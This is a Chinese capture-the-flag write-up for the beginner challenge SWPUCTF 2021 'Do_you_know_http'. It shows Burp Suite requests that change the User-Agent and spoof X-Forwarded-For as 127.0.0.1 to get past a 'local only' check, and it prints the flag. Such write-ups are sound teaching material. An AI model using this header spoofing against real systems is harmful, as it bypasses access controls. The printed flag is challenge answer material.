[SWPUCTF 2021 新生赛]Do_you_know_http

简介: [SWPUCTF 2021 新生赛]Do_you_know_http

一、看题目环境:

环境页面显示:
Please use 'WLLM' browser!
意思为:

#请使用“ wllm”浏览器!

好看到这里都可以了,去用burp suite进行抓包改请求。

二、使用工具burp suite进行抓包,并对其中参数有所理解:

GET:到
Host:来自
User-Agent: 用户-代理
Accept: 接受
Accept-Language: 接受-语言
Accept-Encoding: 接受-编码
Connection: 连接
Upgrade-Insecure-Requests: 升级-不安全的-请求
Content-Length: 内容长度
Cache-Control: 缓存-控制
X-Forwarded-For: HTTP的请求端真实的IP
Request: 请求
Response: 响应

三、抓包分析改请求,拿flag:

打开环境用burp suite进行抓包
返回数据:
GET /hello.php HTTP/1.1

Host: node2.anna.nssctf.cn:28873

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

题目环境中告诉我们说要用WLLM浏览器,所以我们须要改User-Agent的值为WLLM
GET /hello.php HTTP/1.1

Host: node2.anna.nssctf.cn:28873

User-Agent:WLLM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

鼠标右键Send to Repeater送去重放
返回结果为:
HTTP/1.1 302 Found #发现

Date: Fri, 21 Jul 2023 12:52:27 GMT            #日期

Server: Apache/2.4.25 (Debian)                 #服务器

X-Powered-By: PHP/5.6.40                       #动力来自于a

Location: ./a.php                              #位置

Content-Length: 7                              #内容长度

Connection: close                              #连接

Content-Type: text/html; charset=UTF-8         #内容类型

success                                        #成功

在Location位置发现关键PHP文件:a.php

在GET位置将hello.php文件修改为a.php并点击Send发送:
GET /a.php HTTP/1.1

Host: node2.anna.nssctf.cn:28873

User-Agent:WLLM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

返回结果为:
HTTP/1.1 200 OK

Date: Fri, 21 Jul 2023 13:01:28 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/5.6.40

Content-Length: 64

Connection: close

Content-Type: text/html; charset=UTF-8

You can only read this at local!<br>Your address123.9.161.232
最后一句话告诉我们只能在本地可以进行访问

所有我们要在Request请求中添加:X-Forwarded-For:127.0.0.1(需注意的是任意行都可以添加除了第一行,有时候也不对,有的位置可以,有的位置不可以,总之多试试。冒号:注意是英文冒号!)
GET /a.php HTTP/1.1

X-Forwarded-For:127.0.0.1

Host: node2.anna.nssctf.cn:28873

User-Agent:WLLM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

返回结果为:
HTTP/1.1 302 Found

Date: Fri, 21 Jul 2023 13:14:35 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/5.6.40

Location: ./secretttt.php

Content-Length: 60

Connection: close

Content-Type: text/html; charset=UTF-8

You can only read this at local!<br>Your address127.0.0.1

在Location位置发现重要的php文件:secretttt.php

在GET位置将a.php修改为secretttt.php并点击Send进行发送:
GET /secretttt.php HTTP/1.1

X-Forwarded-For:127.0.0.1

Host: node2.anna.nssctf.cn:28873

User-Agent:WLLM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

返回结果为:
HTTP/1.1 200 OK

Date: Fri, 21 Jul 2023 13:28:23 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/5.6.40

Content-Length: 44

Connection: close    

Content-Type: text/html; charset=UTF-8

NSSCTF{0bbd067c-24bd-454c-9111-6cd1b67b6da4}

拿到flag:

#NSSCTF{0bbd067c-24bd-454c-9111-6cd1b67b6da4}
目录
相关文章
|
9月前
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
413 0
|
5月前
|
数据安全/隐私保护 Python
BUUCTF [ACTF新生赛2020]base64隐写 1
BUUCTF [ACTF新生赛2020]base64隐写 1
157 0
BUUCTF [ACTF新生赛2020]base64隐写 1
|
5月前
|
PHP
[SWPUCTF 2021 新生赛] ez_unserialize
[SWPUCTF 2021 新生赛] ez_unserialize
50 1
|
9月前
|
前端开发 网络协议 程序员
你敢信一个HTTP能打趴80%面试者?
面试一年多,每当我问起面试者对HTTP的了解时,个个回答令我瞠目结舌,这些开发者都有3-5年的经验。请不要让我叫你野生程序员,是时候了解HTTP了,让我们当个正规军。
|
9月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]crypto8
[SWPUCTF 2021 新生赛]crypto8
114 1
|
9月前
|
PHP
[SWPUCTF 2021 新生赛]babyrce
[SWPUCTF 2021 新生赛]babyrce
174 0
|
9月前
|
安全 数据安全/隐私保护
[SWPUCTF 2021 新生赛]caidao
[SWPUCTF 2021 新生赛]caidao
106 0
|
9月前
|
PHP 数据安全/隐私保护 Python
[SWPUCTF 2021 新生赛]easy_md5
[SWPUCTF 2021 新生赛]easy_md5
152 0
|
10月前
|
前端开发 网络协议 程序员
一个HTTP能打趴80%面试者!你是其中一员吗?
大多数面试时,每当面试官问起面试者对HTTP的了解时,多数回答都会令面试官瞠目结舌,这些开发者都有3-5年的经验。请不要让别人叫你野生程序员,是时候了解HTTP了,让我们当个正规军。
|
存储 缓存 开发框架
震惊 HTTP 在疫情期间把我吓得不敢出门了(四)
这是 HTTP 系列的第三篇文章,此篇文章为 HTTP 的进阶文章。 在前面两篇文章中我们讲述了 HTTP 的入门,HTTP 所有常用标头的概述,这篇文章我们来聊一下 HTTP 的一些 黑科技。
142 0
震惊  HTTP 在疫情期间把我吓得不敢出门了(四)